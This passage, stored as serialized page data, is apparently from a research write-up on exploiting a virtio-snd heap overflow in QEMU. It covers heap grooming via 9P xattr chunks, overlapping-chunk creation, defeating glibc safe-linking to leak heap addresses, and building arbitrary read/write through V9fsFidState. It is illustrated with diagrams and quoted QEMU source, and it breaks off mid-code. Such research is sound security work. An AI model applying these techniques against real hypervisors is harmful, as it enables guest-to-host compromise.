",{"type":23,"tag":154,"props":130893,"children":130895},{"className":130894},[],[130896],{"type":29,"value":126039},{"type":29,"value":60387},{"type":23,"tag":32,"props":130899,"children":130900},{},[130901,130903,130908,130910,130915],{"type":29,"value":130902},"With the desired heap layout of repeated ",{"type":23,"tag":154,"props":130904,"children":130906},{"className":130905},[],[130907],{"type":29,"value":129593},{"type":29,"value":130909},"-sized ",{"type":23,"tag":154,"props":130911,"children":130913},{"className":130912},[],[130914],{"type":29,"value":129691},{"type":29,"value":130916}," chunks in place, we can then free every other one:",{"type":23,"tag":4743,"props":130918,"children":130920},{"code":130919},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[130921],{"type":23,"tag":154,"props":130922,"children":130923},{"__ignoreMap":7},[130924],{"type":29,"value":130919},{"type":23,"tag":32,"props":130926,"children":130927},{},[130928,130930,130935],{"type":29,"value":130929},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":154,"props":130931,"children":130933},{"className":130932},[],[130934],{"type":29,"value":129691},{"type":29,"value":130936}," chunk directly next to it:",{"type":23,"tag":4743,"props":130938,"children":130940},{"code":130939},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[130941],{"type":23,"tag":154,"props":130942,"children":130943},{"__ignoreMap":7},[130944],{"type":29,"value":130939},{"type":23,"tag":32,"props":130946,"children":130947},{},[130948,130950,130955,130957,130962],{"type":29,"value":130949},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":154,"props":130951,"children":130953},{"className":130952},[],[130954],{"type":29,"value":129593},{"type":29,"value":130956},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":154,"props":130958,"children":130960},{"className":130959},[],[130961],{"type":29,"value":129691},{"type":29,"value":130963}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":4743,"props":130965,"children":130967},{"code":130966},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130968],{"type":23,"tag":154,"props":130969,"children":130970},{"__ignoreMap":7},[130971],{"type":29,"value":130966},{"type":23,"tag":32,"props":130973,"children":130974},{},[130975,130977,130982],{"type":29,"value":130976},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":154,"props":130978,"children":130980},{"className":130979},[],[130981],{"type":29,"value":129608},{"type":29,"value":6533},{"type":23,"tag":4743,"props":130984,"children":130986},{"code":130985},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[130987],{"type":23,"tag":154,"props":130988,"children":130989},{"__ignoreMap":7},[130990],{"type":29,"value":130985},{"type":23,"tag":32,"props":130992,"children":130993},{},[130994,130996,131001],{"type":29,"value":130995},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":154,"props":130997,"children":130999},{"className":130998},[],[131000],{"type":29,"value":129608},{"type":29,"value":161},{"type":23,"tag":4743,"props":131003,"children":131005},{"code":131004},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[131006],{"type":23,"tag":154,"props":131007,"children":131008},{"__ignoreMap":7},[131009],{"type":29,"value":131004},{"type":23,"tag":32,"props":131011,"children":131012},{},[131013,131015,131021],{"type":29,"value":131014},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":154,"props":131016,"children":131018},{"className":131017},[],[131019],{"type":29,"value":131020},"0x400",{"type":29,"value":131022}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":4743,"props":131024,"children":131026},{"code":131025},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131027],{"type":23,"tag":154,"props":131028,"children":131029},{"__ignoreMap":7},[131030],{"type":29,"value":131025},{"type":23,"tag":320,"props":131032,"children":131034},{"id":131033},"leaking-a-heap-address",[131035],{"type":29,"value":131036},"Leaking a Heap Address",{"type":23,"tag":32,"props":131038,"children":131039},{},[131040],{"type":29,"value":131041},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":32,"props":131043,"children":131044},{},[131045,131047,131053],{"type":29,"value":131046},"To do this, we abuse the forward (",{"type":23,"tag":154,"props":131048,"children":131050},{"className":131049},[],[131051],{"type":29,"value":131052},"fd",{"type":29,"value":131054},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":4743,"props":131056,"children":131058},{"code":131057},"fd = next ^ (curr >> 12)\n",[131059],{"type":23,"tag":154,"props":131060,"children":131061},{"__ignoreMap":7},[131062],{"type":29,"value":131057},{"type":23,"tag":32,"props":131064,"children":131065},{},[131066,131068,131073,131074,131079],{"type":29,"value":131067},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":154,"props":131069,"children":131071},{"className":131070},[],[131072],{"type":29,"value":59626},{"type":29,"value":7546},{"type":23,"tag":154,"props":131075,"children":131077},{"className":131076},[],[131078],{"type":29,"value":56557},{"type":29,"value":131080}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":4743,"props":131082,"children":131084},{"code":131083},"fd = 0 ^ (curr >> 12)\n",[131085],{"type":23,"tag":154,"props":131086,"children":131087},{"__ignoreMap":7},[131088],{"type":29,"value":131083},{"type":23,"tag":32,"props":131090,"children":131091},{},[131092,131094,131099],{"type":29,"value":131093},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":154,"props":131095,"children":131097},{"className":131096},[],[131098],{"type":29,"value":131052},{"type":29,"value":131100}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":32,"props":131102,"children":131103},{},[131104],{"type":29,"value":131105},"In the overlap we achieved earlier:",{"type":23,"tag":4743,"props":131107,"children":131109},{"code":131108},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[131110],{"type":23,"tag":154,"props":131111,"children":131112},{"__ignoreMap":7},[131113],{"type":29,"value":131108},{"type":23,"tag":32,"props":131115,"children":131116},{},[131117,131119,131125,131127,131133,131135,131141,131143,131148],{"type":29,"value":131118},"We first free ",{"type":23,"tag":154,"props":131120,"children":131122},{"className":131121},[],[131123],{"type":29,"value":131124},".value C",{"type":29,"value":131126}," into tcache and read its contents through the oversized ",{"type":23,"tag":154,"props":131128,"children":131130},{"className":131129},[],[131131],{"type":29,"value":131132},".value Y",{"type":29,"value":131134},". This gives us ",{"type":23,"tag":154,"props":131136,"children":131138},{"className":131137},[],[131139],{"type":29,"value":131140},".value C >> 12",{"type":29,"value":131142},". That is not yet the exact address of ",{"type":23,"tag":154,"props":131144,"children":131146},{"className":131145},[],[131147],{"type":29,"value":131124},{"type":29,"value":131149},", since the lower 12 bits are lost.",{"type":23,"tag":32,"props":131151,"children":131152},{},[131153,131155,131160,131162,131167,131169,131174,131176,131181],{"type":29,"value":131154},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":154,"props":131156,"children":131158},{"className":131157},[],[131159],{"type":29,"value":131124},{"type":29,"value":131161},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":154,"props":131163,"children":131165},{"className":131164},[],[131166],{"type":29,"value":131124},{"type":29,"value":131168}," again. This time, ",{"type":23,"tag":154,"props":131170,"children":131172},{"className":131171},[],[131173],{"type":29,"value":59626},{"type":29,"value":131175}," is no longer ",{"type":23,"tag":154,"props":131177,"children":131179},{"className":131178},[],[131180],{"type":29,"value":56557},{"type":29,"value":131182},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":4743,"props":131184,"children":131185},{"code":131057},[131186],{"type":23,"tag":154,"props":131187,"children":131188},{"__ignoreMap":7},[131189],{"type":29,"value":131057},{"type":23,"tag":32,"props":131191,"children":131192},{},[131193,131195,131201,131203,131208,131210,131215,131217,131222],{"type":29,"value":131194},"Since we already know ",{"type":23,"tag":154,"props":131196,"children":131198},{"className":131197},[],[131199],{"type":29,"value":131200},"curr >> 12",{"type":29,"value":131202}," from the first leak, we can read the new ",{"type":23,"tag":154,"props":131204,"children":131206},{"className":131205},[],[131207],{"type":29,"value":131052},{"type":29,"value":131209}," value from ",{"type":23,"tag":154,"props":131211,"children":131213},{"className":131212},[],[131214],{"type":29,"value":131124},{"type":29,"value":131216}," and recover the exact address of ",{"type":23,"tag":154,"props":131218,"children":131220},{"className":131219},[],[131221],{"type":29,"value":59626},{"type":29,"value":131223}," by reversing the XOR:",{"type":23,"tag":4743,"props":131225,"children":131227},{"code":131226},"next = fd ^ (curr >> 12)\n",[131228],{"type":23,"tag":154,"props":131229,"children":131230},{"__ignoreMap":7},[131231],{"type":29,"value":131226},{"type":23,"tag":32,"props":131233,"children":131234},{},[131235],{"type":29,"value":131236},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":320,"props":131238,"children":131240},{"id":131239},"arbitrary-read-and-write",[131241],{"type":29,"value":131242},"Arbitrary Read and Write",{"type":23,"tag":32,"props":131244,"children":131245},{},[131246,131248,131253],{"type":29,"value":131247},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":154,"props":131249,"children":131251},{"className":131250},[],[131252],{"type":29,"value":131124},{"type":29,"value":131254}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":32,"props":131256,"children":131257},{},[131258,131260,131265],{"type":29,"value":131259},"Recall ",{"type":23,"tag":154,"props":131261,"children":131263},{"className":131262},[],[131264],{"type":29,"value":129728},{"type":29,"value":6533},{"type":23,"tag":4743,"props":131267,"children":131269},{"code":131268,"language":3110,"meta":7,"className":18562,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[131270],{"type":23,"tag":154,"props":131271,"children":131272},{"__ignoreMap":7},[131273,131312,131319,131330,131345,131360,131367,131374,131381,131403,131410,131417,131424,131432,131449,131488,131531,131538],{"type":23,"tag":504,"props":131274,"children":131275},{"class":5016,"line":5017},[131276,131280,131284,131288,131292,131296,131300,131304,131308],{"type":23,"tag":504,"props":131277,"children":131278},{"style":5030},[131279],{"type":29,"value":53107},{"type":23,"tag":504,"props":131281,"children":131282},{"style":5030},[131283],{"type":29,"value":53112},{"type":23,"tag":504,"props":131285,"children":131286},{"style":5058},[131287],{"type":29,"value":129723},{"type":23,"tag":504,"props":131289,"children":131290},{"style":5139},[131291],{"type":29,"value":129728},{"type":23,"tag":504,"props":131293,"children":131294},{"style":5058},[131295],{"type":29,"value":603},{"type":23,"tag":504,"props":131297,"children":131298},{"style":5030},[131299],{"type":29,"value":53688},{"type":23,"tag":504,"props":131301,"children":131302},{"style":5047},[131303],{"type":29,"value":11863},{"type":23,"tag":504,"props":131305,"children":131306},{"style":5041},[131307],{"type":29,"value":129745},{"type":23,"tag":504,"props":131309,"children":131310},{"style":5058},[131311],{"type":29,"value":5200},{"type":23,"tag":504,"props":131313,"children":131314},{"class":5016,"line":4868},[131315],{"type":23,"tag":504,"props":131316,"children":131317},{"style":5058},[131318],{"type":29,"value":12926},{"type":23,"tag":504,"props":131320,"children":131321},{"class":5016,"line":4876},[131322,131326],{"type":23,"tag":504,"props":131323,"children":131324},{"style":5030},[131325],{"type":29,"value":57674},{"type":23,"tag":504,"props":131327,"children":131328},{"style":5058},[131329],{"type":29,"value":126381},{"type":23,"tag":504,"props":131331,"children":131332},{"class":5016,"line":5099},[131333,131337,131341],{"type":23,"tag":504,"props":131334,"children":131335},{"style":5058},[131336],{"type":29,"value":129870},{"type":23,"tag":504,"props":131338,"children":131339},{"style":5047},[131340],{"type":29,"value":6613},{"type":23,"tag":504,"props":131342,"children":131343},{"style":5058},[131344],{"type":29,"value":129879},{"type":23,"tag":504,"props":131346,"children":131347},{"class":5016,"line":5203},[131348,131352,131356],{"type":23,"tag":504,"props":131349,"children":131350},{"style":5058},[131351],{"type":29,"value":129870},{"type":23,"tag":504,"props":131353,"children":131354},{"style":5047},[131355],{"type":29,"value":6613},{"type":23,"tag":504,"props":131357,"children":131358},{"style":5058},[131359],{"type":29,"value":129895},{"type":23,"tag":504,"props":131361,"children":131362},{"class":5016,"line":5308},[131363],{"type":23,"tag":504,"props":131364,"children":131365},{"emptyLinePlaceholder":15},[131366],{"type":29,"value":5734},{"type":23,"tag":504,"props":131368,"children":131369},{"class":5016,"line":5336},[131370],{"type":23,"tag":504,"props":131371,"children":131372},{"style":5058},[131373],{"type":29,"value":106580},{"type":23,"tag":504,"props":131375,"children":131376},{"class":5016,"line":5349},[131377],{"type":23,"tag":504,"props":131378,"children":131379},{"emptyLinePlaceholder":15},[131380],{"type":29,"value":5734},{"type":23,"tag":504,"props":131382,"children":131383},{"class":5016,"line":5367},[131384,131389,131393,131398],{"type":23,"tag":504,"props":131385,"children":131386},{"style":5058},[131387],{"type":29,"value":131388},"    file_fidp ",{"type":23,"tag":504,"props":131390,"children":131391},{"style":5047},[131392],{"type":29,"value":546},{"type":23,"tag":504,"props":131394,"children":131395},{"style":5139},[131396],{"type":29,"value":131397}," get_fid",{"type":23,"tag":504,"props":131399,"children":131400},{"style":5058},[131401],{"type":29,"value":131402},"(pdu, fid);\n",{"type":23,"tag":504,"props":131404,"children":131405},{"class":5016,"line":5388},[131406],{"type":23,"tag":504,"props":131407,"children":131408},{"emptyLinePlaceholder":15},[131409],{"type":29,"value":5734},{"type":23,"tag":504,"props":131411,"children":131412},{"class":5016,"line":5397},[131413],{"type":23,"tag":504,"props":131414,"children":131415},{"style":5058},[131416],{"type":29,"value":106580},{"type":23,"tag":504,"props":131418,"children":131419},{"class":5016,"line":5649},[131420],{"type":23,"tag":504,"props":131421,"children":131422},{"emptyLinePlaceholder":15},[131423],{"type":29,"value":5734},{"type":23,"tag":504,"props":131425,"children":131426},{"class":5016,"line":5666},[131427],{"type":23,"tag":504,"props":131428,"children":131429},{"style":5021},[131430],{"type":29,"value":131431},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":504,"props":131433,"children":131434},{"class":5016,"line":5683},[131435,131440,131444],{"type":23,"tag":504,"props":131436,"children":131437},{"style":5058},[131438],{"type":29,"value":131439},"    xattr_fidp ",{"type":23,"tag":504,"props":131441,"children":131442},{"style":5047},[131443],{"type":29,"value":546},{"type":23,"tag":504,"props":131445,"children":131446},{"style":5058},[131447],{"type":29,"value":131448}," file_fidp;\n",{"type":23,"tag":504,"props":131450,"children":131451},{"class":5016,"line":5696},[131452,131456,131460,131464,131468,131472,131476,131480,131484],{"type":23,"tag":504,"props":131453,"children":131454},{"style":5041},[131455],{"type":29,"value":130273},{"type":23,"tag":504,"props":131457,"children":131458},{"style":5058},[131459],{"type":29,"value":15803},{"type":23,"tag":504,"props":131461,"children":131462},{"style":5041},[131463],{"type":29,"value":39039},{"type":23,"tag":504,"props":131465,"children":131466},{"style":5058},[131467],{"type":29,"value":357},{"type":23,"tag":504,"props":131469,"children":131470},{"style":5041},[131471],{"type":29,"value":130197},{"type":23,"tag":504,"props":131473,"children":131474},{"style":5058},[131475],{"type":29,"value":357},{"type":23,"tag":504,"props":131477,"children":131478},{"style":5041},[131479],{"type":29,"value":11186},{"type":23,"tag":504,"props":131481,"children":131482},{"style":5047},[131483],{"type":29,"value":5050},{"type":23,"tag":504,"props":131485,"children":131486},{"style":5058},[131487],{"type":29,"value":126381},{"type":23,"tag":504,"props":131489,"children":131490},{"class":5016,"line":5705},[131491,131495,131499,131503,131507,131511,131515,131519,131523,131527],{"type":23,"tag":504,"props":131492,"children":131493},{"style":5041},[131494],{"type":29,"value":130273},{"type":23,"tag":504,"props":131496,"children":131497},{"style":5058},[131498],{"type":29,"value":15803},{"type":23,"tag":504,"props":131500,"children":131501},{"style":5041},[131502],{"type":29,"value":39039},{"type":23,"tag":504,"props":131504,"children":131505},{"style":5058},[131506],{"type":29,"value":357},{"type":23,"tag":504,"props":131508,"children":131509},{"style":5041},[131510],{"type":29,"value":130197},{"type":23,"tag":504,"props":131512,"children":131513},{"style":5058},[131514],{"type":29,"value":357},{"type":23,"tag":504,"props":131516,"children":131517},{"style":5041},[131518],{"type":29,"value":41208},{"type":23,"tag":504,"props":131520,"children":131521},{"style":5047},[131522],{"type":29,"value":5050},{"type":23,"tag":504,"props":131524,"children":131525},{"style":5139},[131526],{"type":29,"value":125952},{"type":23,"tag":504,"props":131528,"children":131529},{"style":5058},[131530],{"type":29,"value":130310},{"type":23,"tag":504,"props":131532,"children":131533},{"class":5016,"line":5728},[131534],{"type":23,"tag":504,"props":131535,"children":131536},{"emptyLinePlaceholder":15},[131537],{"type":29,"value":5734},{"type":23,"tag":504,"props":131539,"children":131540},{"class":5016,"line":5737},[131541],{"type":23,"tag":504,"props":131542,"children":131543},{"style":5058},[131544],{"type":29,"value":106580},{"type":23,"tag":32,"props":131546,"children":131547},{},[131548,131550,131556,131558,131563,131564,131569,131571,131576,131578,131584,131585,131591,131593,131598,131599,131604],{"type":29,"value":131549},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":154,"props":131551,"children":131553},{"className":131552},[],[131554],{"type":29,"value":131555},"V9fsFidState",{"type":29,"value":131557}," object. In other words, if we can place a ",{"type":23,"tag":154,"props":131559,"children":131561},{"className":131560},[],[131562],{"type":29,"value":131555},{"type":29,"value":9366},{"type":23,"tag":154,"props":131565,"children":131567},{"className":131566},[],[131568],{"type":29,"value":131124},{"type":29,"value":131570}," currently sits, the overlapping ",{"type":23,"tag":154,"props":131572,"children":131574},{"className":131573},[],[131575],{"type":29,"value":131132},{"type":29,"value":131577}," chunk can overwrite ",{"type":23,"tag":154,"props":131579,"children":131581},{"className":131580},[],[131582],{"type":29,"value":131583},"V9fsFidState.fs.xattr.value",{"type":29,"value":4478},{"type":23,"tag":154,"props":131586,"children":131588},{"className":131587},[],[131589],{"type":29,"value":131590},"V9fsFidState.fs.xattr.len",{"type":29,"value":131592},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":154,"props":131594,"children":131596},{"className":131595},[],[131597],{"type":29,"value":130386},{"type":29,"value":4478},{"type":23,"tag":154,"props":131600,"children":131602},{"className":131601},[],[131603],{"type":29,"value":130378},{"type":29,"value":357},{"type":23,"tag":32,"props":131606,"children":131607},{},[131608,131610,131615,131616,131621,131623,131628,131630,131636,131638,131643,131645,131650,131652,131657,131659,131664,131666,131671],{"type":29,"value":131609},"At this point, ",{"type":23,"tag":154,"props":131611,"children":131613},{"className":131612},[],[131614],{"type":29,"value":131124},{"type":29,"value":17490},{"type":23,"tag":154,"props":131617,"children":131619},{"className":131618},[],[131620],{"type":29,"value":129593},{"type":29,"value":131622}," chunk, while ",{"type":23,"tag":154,"props":131624,"children":131626},{"className":131625},[],[131627],{"type":29,"value":131555},{"type":29,"value":131629}," falls into the ",{"type":23,"tag":154,"props":131631,"children":131633},{"className":131632},[],[131634],{"type":29,"value":131635},"0x120",{"type":29,"value":131637}," size class. Before freeing ",{"type":23,"tag":154,"props":131639,"children":131641},{"className":131640},[],[131642],{"type":29,"value":131124},{"type":29,"value":131644},", we therefore use the oversized ",{"type":23,"tag":154,"props":131646,"children":131648},{"className":131647},[],[131649],{"type":29,"value":131132},{"type":29,"value":131651}," chunk to change its size to match ",{"type":23,"tag":154,"props":131653,"children":131655},{"className":131654},[],[131656],{"type":29,"value":131555},{"type":29,"value":131658},". Once ",{"type":23,"tag":154,"props":131660,"children":131662},{"className":131661},[],[131663],{"type":29,"value":131124},{"type":29,"value":131665}," is freed, it is inserted into the ",{"type":23,"tag":154,"props":131667,"children":131669},{"className":131668},[],[131670],{"type":29,"value":131635},{"type":29,"value":131672}," tcache bin.",{"type":23,"tag":4743,"props":131674,"children":131676},{"code":131675},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[131677],{"type":23,"tag":154,"props":131678,"children":131679},{"__ignoreMap":7},[131680],{"type":29,"value":131675},{"type":23,"tag":32,"props":131682,"children":131683},{},[131684,131686,131691,131693,131699,131701,131707,131709,131714],{"type":29,"value":131685},"After that, we can simply allocate a new ",{"type":23,"tag":154,"props":131687,"children":131689},{"className":131688},[],[131690],{"type":29,"value":131555},{"type":29,"value":131692}," with a ",{"type":23,"tag":154,"props":131694,"children":131696},{"className":131695},[],[131697],{"type":29,"value":131698},"P9_TWALK",{"type":29,"value":131700}," request and a fresh FID - this reaches ",{"type":23,"tag":154,"props":131702,"children":131704},{"className":131703},[],[131705],{"type":29,"value":131706},"alloc_fid",{"type":29,"value":131708},", which allocates a new ",{"type":23,"tag":154,"props":131710,"children":131712},{"className":131711},[],[131713],{"type":29,"value":131555},{"type":29,"value":6533},{"type":23,"tag":4743,"props":131716,"children":131718},{"code":131717,"language":3110,"meta":7,"className":18562,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[131719],{"type":23,"tag":154,"props":131720,"children":131721},{"__ignoreMap":7},[131722,131762,131769,131785,131813,131820,131827,131834,131855,131862,131877,131899,131923,131944,131955,131962,132000,132042,132049,132056,132063,132070,132077,132128,132135,132150,132157,132205,132217,132225,132254,132269,132276,132305,132312],{"type":23,"tag":504,"props":131723,"children":131724},{"class":5016,"line":5017},[131725,131729,131733,131737,131742,131746,131750,131754,131758],{"type":23,"tag":504,"props":131726,"children":131727},{"style":5030},[131728],{"type":29,"value":53107},{"type":23,"tag":504,"props":131730,"children":131731},{"style":5030},[131732],{"type":29,"value":53112},{"type":23,"tag":504,"props":131734,"children":131735},{"style":5058},[131736],{"type":29,"value":129723},{"type":23,"tag":504,"props":131738,"children":131739},{"style":5139},[131740],{"type":29,"value":131741},"v9fs_walk",{"type":23,"tag":504,"props":131743,"children":131744},{"style":5058},[131745],{"type":29,"value":603},{"type":23,"tag":504,"props":131747,"children":131748},{"style":5030},[131749],{"type":29,"value":53688},{"type":23,"tag":504,"props":131751,"children":131752},{"style":5047},[131753],{"type":29,"value":11863},{"type":23,"tag":504,"props":131755,"children":131756},{"style":5041},[131757],{"type":29,"value":129745},{"type":23,"tag":504,"props":131759,"children":131760},{"style":5058},[131761],{"type":29,"value":5200},{"type":23,"tag":504,"props":131763,"children":131764},{"class":5016,"line":4868},[131765],{"type":23,"tag":504,"props":131766,"children":131767},{"style":5058},[131768],{"type":29,"value":12926},{"type":23,"tag":504,"props":131770,"children":131771},{"class":5016,"line":4876},[131772,131776,131780],{"type":23,"tag":504,"props":131773,"children":131774},{"style":5058},[131775],{"type":29,"value":129870},{"type":23,"tag":504,"props":131777,"children":131778},{"style":5047},[131779],{"type":29,"value":6613},{"type":23,"tag":504,"props":131781,"children":131782},{"style":5058},[131783],{"type":29,"value":131784},"fidp;\n",{"type":23,"tag":504,"props":131786,"children":131787},{"class":5016,"line":5099},[131788,131792,131796,131801,131805,131809],{"type":23,"tag":504,"props":131789,"children":131790},{"style":5058},[131791],{"type":29,"value":129870},{"type":23,"tag":504,"props":131793,"children":131794},{"style":5047},[131795],{"type":29,"value":6613},{"type":23,"tag":504,"props":131797,"children":131798},{"style":5058},[131799],{"type":29,"value":131800},"newfidp ",{"type":23,"tag":504,"props":131802,"children":131803},{"style":5047},[131804],{"type":29,"value":546},{"type":23,"tag":504,"props":131806,"children":131807},{"style":5030},[131808],{"type":29,"value":129549},{"type":23,"tag":504,"props":131810,"children":131811},{"style":5058},[131812],{"type":29,"value":5061},{"type":23,"tag":504,"props":131814,"children":131815},{"class":5016,"line":5203},[131816],{"type":23,"tag":504,"props":131817,"children":131818},{"emptyLinePlaceholder":15},[131819],{"type":29,"value":5734},{"type":23,"tag":504,"props":131821,"children":131822},{"class":5016,"line":5308},[131823],{"type":23,"tag":504,"props":131824,"children":131825},{"style":5058},[131826],{"type":29,"value":106580},{"type":23,"tag":504,"props":131828,"children":131829},{"class":5016,"line":5336},[131830],{"type":23,"tag":504,"props":131831,"children":131832},{"emptyLinePlaceholder":15},[131833],{"type":29,"value":5734},{"type":23,"tag":504,"props":131835,"children":131836},{"class":5016,"line":5349},[131837,131841,131846,131850],{"type":23,"tag":504,"props":131838,"children":131839},{"style":5067},[131840],{"type":29,"value":14325},{"type":23,"tag":504,"props":131842,"children":131843},{"style":5058},[131844],{"type":29,"value":131845}," (fid ",{"type":23,"tag":504,"props":131847,"children":131848},{"style":5047},[131849],{"type":29,"value":1224},{"type":23,"tag":504,"props":131851,"children":131852},{"style":5058},[131853],{"type":29,"value":131854}," newfid) {\n",{"type":23,"tag":504,"props":131856,"children":131857},{"class":5016,"line":5367},[131858],{"type":23,"tag":504,"props":131859,"children":131860},{"style":5058},[131861],{"type":29,"value":125818},{"type":23,"tag":504,"props":131863,"children":131864},{"class":5016,"line":5388},[131865,131869,131873],{"type":23,"tag":504,"props":131866,"children":131867},{"style":5058},[131868],{"type":29,"value":17826},{"type":23,"tag":504,"props":131870,"children":131871},{"style":5067},[131872],{"type":29,"value":5360},{"type":23,"tag":504,"props":131874,"children":131875},{"style":5058},[131876],{"type":29,"value":5333},{"type":23,"tag":504,"props":131878,"children":131879},{"class":5016,"line":5397},[131880,131885,131889,131894],{"type":23,"tag":504,"props":131881,"children":131882},{"style":5058},[131883],{"type":29,"value":131884},"        newfidp ",{"type":23,"tag":504,"props":131886,"children":131887},{"style":5047},[131888],{"type":29,"value":546},{"type":23,"tag":504,"props":131890,"children":131891},{"style":5139},[131892],{"type":29,"value":131893}," alloc_fid",{"type":23,"tag":504,"props":131895,"children":131896},{"style":5058},[131897],{"type":29,"value":131898},"(s, newfid);\n",{"type":23,"tag":504,"props":131900,"children":131901},{"class":5016,"line":5649},[131902,131906,131911,131915,131919],{"type":23,"tag":504,"props":131903,"children":131904},{"style":5067},[131905],{"type":29,"value":5314},{"type":23,"tag":504,"props":131907,"children":131908},{"style":5058},[131909],{"type":29,"value":131910}," (newfidp ",{"type":23,"tag":504,"props":131912,"children":131913},{"style":5047},[131914],{"type":29,"value":1224},{"type":23,"tag":504,"props":131916,"children":131917},{"style":5030},[131918],{"type":29,"value":129549},{"type":23,"tag":504,"props":131920,"children":131921},{"style":5058},[131922],{"type":29,"value":16850},{"type":23,"tag":504,"props":131924,"children":131925},{"class":5016,"line":5666},[131926,131931,131935,131939],{"type":23,"tag":504,"props":131927,"children":131928},{"style":5058},[131929],{"type":29,"value":131930},"            err 